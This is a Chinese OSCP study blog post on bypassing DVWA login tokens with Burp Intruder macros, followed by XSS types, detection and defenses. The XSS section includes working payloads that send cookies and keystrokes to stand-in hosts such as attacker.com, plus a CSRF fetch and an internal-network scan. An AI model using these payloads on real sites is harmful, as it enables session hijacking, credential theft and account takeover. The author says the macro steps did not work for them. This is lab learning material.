Day26 Web漏洞-XSS跨站脚本
关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
上一节补充核心知识点:Burp Suite 处理动态 Token 的流程
下文的 phpMyAdmin 替换为 DVWA 漏洞练习靶场为例子。

1. 问题分析
- 目标防护机制:
phpMyAdmin 登录表单包含动态生成的token和set_session值,每次请求都会变化,用于防止 CSRF 和暴力破解。 - 关键挑战:
直接爆破密码会因 Token/Session 不匹配失败(返回错误Error: Token/Session mismatch)。 调整DVWA靶场的安全设置为High然后打开Brute Force有个登录框,可以练习登录的漏洞。
随便输入用户名密码抓包后查看发现是有token值的,当前的响应是200,是正常的。
但是当放到重放器中再次发包后返回的结果就是302,这样的话似乎就没办法用Burp爆破密码了。因为token值每发一次就会变化一次。
如果在浏览器直接刷新也会提示token过期的。

2. 解决方案:Burp Intruder 的宏(Macro)功能
核心思路: 通过 Recursive Grep(递归提取) 从服务器响应中动态捕获 Token/Session 值,并自动注入到后续请求。
3. 配置步骤
Step 1: 设置攻击位置(Positions)
- 清除默认标记:点击
Clear §移除 Burp 自动标记的位置。 - 手动标记关键参数(4个位置需动态更新):
- Cookie 中的
phpMyAdmin值
(示例:Cookie: phpMyAdmin=§动态值§) - POST 表单中的
set_session
(示例:set_session=§动态值§) - 密码字段
pma_password
(固定用户root,爆破密码:pma_password=§密码字典§) - Token 字段
token
(示例:token=§动态值§) 教材中用的是phpmyadmin,这里用的DVWA一样的,在要爆破的字段上设置”节”符号§,点击Add §按钮即可添加。
- Cookie 中的
Step 2: 配置 Payloads(递归提取动态值)
-
Payload Set 1 & 2(Session 值)
-
类型:
Recursive Grep -
提取规则:
从响应中抓取set_session的隐藏字段值:<input type="hidden" name="set_session" value="§提取值§" />配置定界符:
- Start:
name="set_session" value=" - End:
"
- Start:
-
-
Payload Set 4(Token 值)
-
类型:
Recursive Grep -
提取规则:
从响应中抓取 Token 值:<input type="hidden" name="token" value="§提取值§" />配置定界符:
- Start:
name="token" value=" - End:
"打开设置,找到Session设置,看到有会话处理规则和宏的界面。
选择刚刚登录抓过的包,搜索确定有token值的那个。
点击添加宏。
将字段匹配上去,名字是user_token,从 value=’ 开始,然后正则匹配后面的字符。直接在页面上选中文字拖拽可以自动匹配,
添加好后保存。
点击会话规则添加新规则。
选择运行宏。
汉化版的翻译对照。
选择只更新此参数。
设置工作的范围,只要重放和爆破两个确保打开即可,设置网络为目标的网络或者选择全都通过。
再次发包发现即可无限次发包了。
- Start:
-
这里我没有成功,用的是别人成功的截图。
Step 3: 配置密码爆破(Payload Set 3)
- 类型:
Simple List - 内容:常用密码字典(如
root、password、admin等)。

4. 核心技术:宏 Macros 如何工作
- 首次请求:
- Burp 发送初始登录请求,服务器返回包含新 Token/Session 的 HTML。
- 提取动态值:
- 根据
Recursive Grep规则,从响应中抓取最新 Token/Session。
- 根据
- 注入下一次请求:
- 将提取值自动填充到后续请求的标记位置(§§)。
- 循环直至成功:
- 每次请求更新 Token/Session,绕过防护机制爆破密码。
5. 成功关键点
- 定界符精度:
需精确匹配 HTML 中 Token/Session 的上下文(如value="..."),避免提取错误。 - Payload 顺序:
Pitchfork要求每组 Payload 数量一致(密码字典需与 Token 列表同步)。 - 错误处理:
需验证提取逻辑是否覆盖服务器返回的所有动态值(Session + Token)。
6. 替代方案(Burp 的 Session Handling Rules)
若需更灵活处理 Token,可创建 宏(Macro) + Session Rule:
- 新建 Macro:
- 捕获登录页 GET 请求 → 提取 Token/Session。
- 创建 Session Rule:
- 在爆破前自动执行 Macro,更新请求中的 Token/Session。
- 应用范围:
绑定到 Intruder 或整个项目,自动化处理所有相关请求。
XSS漏洞
[!info]+ XSS漏洞在OSCP中不考i,而且在大多数漏洞平台不收录XSS的漏洞,但是在渗透钓鱼中可以作为辅助手段来达到目的。所以简单了解和知道基本的利用操作是很有必要的。 比如在baidu.com中如果xss弹出一个下面这个网站的域名,从而引导“粗心的”用户输入密码等信息,就能窃取用户凭证和其他敏感信息。
核心安全概念:数据消毒(Data Sanitization)
-
定义与重要性
- 数据消毒是清除或转换用户输入中危险字符/字符串的过程
- 未消毒数据危害:攻击者可注入恶意代码(如XSS/SQL注入)
- 深度防御原则:应在输入点(提交时)和输出点(显示时)双重消毒
-
漏洞成因
// 危险示例:直接输出未消毒数据 echo "<td>" . $row["text"] . "</td>";- 解决方案:使用
htmlspecialchars()转换特殊字符
// 安全示例 echo "<td>" . htmlspecialchars($row["text"]) . "</td>"; - 解决方案:使用
跨站脚本攻击(XSS)
漏洞类型
| 类型 | 特征 | 常见场景 |
|---|---|---|
| 存储型XSS | 攻击载荷持久化存储在服务器(数据库/缓存) | 论坛评论、产品评价 |
| 反射型XSS | 恶意代码通过URL参数动态返回给用户 | 搜索结果页、错误消息 |
| 基于DOM型XSS | 攻击发生在浏览器DOM解析层(不与服务端交互) | 客户端数据处理逻辑漏洞 |
漏洞检测方法
-
定位入口点
- 寻找接受用户输入并回显的字段(如搜索框、反馈表单)
-
注入测试字符
< > ' " { } ; // HTML/JavaScript特殊字符- 检查输出:若字符未被编码(如
<未转为<),则存在风险
如图,输入的恶意字符原模原样的输出,说明没有过滤和转义这些字符。
完整的练习可以通过[[xss-labs 靶场 WP|xss-labs]] 靶场练习。
- 检查输出:若字符未被编码(如
XSS利用技术实战
基础攻击示例
<script>alert('XSS')</script> // 触发弹窗验证漏洞
第二关就转义了这些恶意字符,所以直接输的话是弹不了的。
还可以加上Burp抓包用字典遍历所有的XSS

攻击流程:
提交恶意反馈 → 存储至数据库 → 管理员查看页面 → 触发攻击
进阶利用:会话劫持
-
窃取Cookie原理
- 绕过
HttpOnly标志:通过XSS直接读取document.cookie
<script> new Image().src="http://attacker-ip/?cookie=" + document.cookie; </script> - 绕过
-
劫持管理员会话
- 步骤:
- 诱使管理员访问含恶意脚本页面
- 脚本将Cookie发送至攻击者服务器
- 攻击者使用盗取的
PHPSESSID伪装管理员
- 步骤:
防御措施
| 防御层面 | 具体措施 |
|---|---|
| 输入消毒 | 提交时过滤< > ' "等危险字符 |
| 输出编码 | 显示时强制转义(如PHP的htmlspecialchars()) |
| 安全标记 | 设置Cookie的HttpOnly和Secure属性 |
| 内容安全策略 | 配置CSP头限制脚本来源(如Content-Security-Policy: script-src 'self') |
技术关键点解析
-
漏洞本质
客户端攻击:浏览器执行恶意脚本而非服务端,但可导致服务端权限沦陷 -
跨域限制绕过
通过注入<iframe>或Image对象将数据外带至攻击者服务器<!-- 隐藏iframe外传数据 --> <iframe src="http://attacker-ip" style="display:none"></iframe> -
自动化攻击验证
使用PowerShell脚本模拟管理员行为:# admin_login.ps1 $ie = New-Object -com InternetExplorer.Application $ie.Visible = $true $ie.Navigate("http://vuln-site/login.php") # 自动填写凭证并提交...
9.4.2.5 练习
- 利用示例应用程序中的XSS漏洞获取管理cookie并劫持会话。切记在Windows 10实验室计算机上 使用PowerShell脚本模拟管理员登录。
- 考虑使用此应用程序中的XSS漏洞进行攻击的其他方式。
- 此漏洞会攻击站点的服务器还是客户端?
1. 利用XSS漏洞获取管理员Cookie并劫持会话的步骤
攻击流程如下(需在Windows 10实验环境中配合PowerShell模拟管理员登录):
-
注入恶意Payload
-
在存在XSS漏洞的输入点(如评论框、URL参数)注入以下脚本:
<script> var img = new Image(); img.src = 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); img.style.display = 'none'; document.body.appendChild(img); </script>此脚本会悄无声息地将当前用户的Cookie发送至攻击者控制的服务器(
attacker.com)。
-
-
诱导管理员触发漏洞
-
若为反射型XSS,构造含恶意脚本的URL,通过社工手段诱使管理员点击(例如伪装成站内通知链接)。
-
若为存储型XSS,直接将Payload提交至数据库(如论坛发帖),等待管理员浏览页面自动触发。
-
-
捕获Cookie并劫持会话
-
攻击者从服务器日志提取Cookie中的会话ID(如
PHPSESSID=abc123)。 -
使用浏览器开发者工具或插件(如EditThisCookie)将Cookie植入自身浏览器,访问后台路径(如
/admin)即可伪装管理员身份。
-
-
PowerShell模拟管理员登录(实验环境)
-
编写脚本自动发送含窃取Cookie的请求:
Invoke-WebRequest -Uri "http://vulnerable-site.com/login" -Method Post -Body @{username="admin"; password="P@ssw0rd"} # 后续请求携带窃取的Cookie访问后台 -
此步骤用于验证会话劫持可行性,无需实际破解密码。
-
2. XSS漏洞的其他攻击利用方式
除会话劫持外,XSS漏洞可扩展为以下攻击:
-
键盘记录与数据窃取
注入脚本捕获用户键盘输入(如账号密码),通过
Beacon API发送至攻击者服务器:document.addEventListener('keydown', e => navigator.sendBeacon('http://attacker.com/log', e.key));可窃取表单内容、LocalStorage数据(如用户令牌)。
-
组合CSRF攻击
利用XSS绕过CSRF防护,以内联脚本伪造敏感操作(如修改密码):
fetch('/account/change_email', {method: 'POST', body: 'email=attacker@example.com'});无需用户交互即可接管账户。
-
内网探测与反向代理
通过恶意脚本扫描内网资源,将结果回传:
for (let i=1; i<255; i++) fetch(`http://192.168.1.${i}`, {mode: 'no-cors'}) .then(() => sendToAttacker(`192.168.1.${i}_active`));用于定位未公开的后台或漏洞设备。
-
持久化水坑攻击
篡改页面内容(如添加伪造登录弹窗),诱骗用户输入凭证:
<div id="fakeLogin" style="position:fixed; top:0; background:white;"> <input type="text" id="username" placeholder="Username"> <input type="password" id="password" placeholder="Password"> </div>结合事件监听窃取输入数据。
3. XSS漏洞的攻击目标:客户端而非服务器
关键结论:XSS攻击对象是客户端(用户浏览器),而非服务器。
-
原理:
XSS本质是恶意脚本在用户浏览器执行,利用的是网站对用户输入的输出编码缺失或DOM处理不当。服务器仅存储或反射脚本,自身代码不被破坏。
-
间接影响服务器场景:
若受害者是管理员,攻击者可能通过劫持其会话:
-
上传Webshell控制服务器;
-
窃取数据库凭据或敏感文件;
但此过程仍以客户端为跳板,非直接攻击服务端代码。
-
防御措施关键点
-
输入输出处理
-
输入层:白名单过滤(如仅允许字母数字)。
-
输出层:对动态内容HTML编码(如
<转义为<)。
-
-
安全Header配置
-
Content-Security-Policy: script-src 'self'禁止外部脚本。 -
Set-Cookie: sessionId=xxx; HttpOnly; Secure阻止JS访问Cookie。
-
-
现代框架防护
- React/Vue默认转义插值内容,避免
dangerouslySetInnerHTML滥用。
- React/Vue默认转义插值内容,避免
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚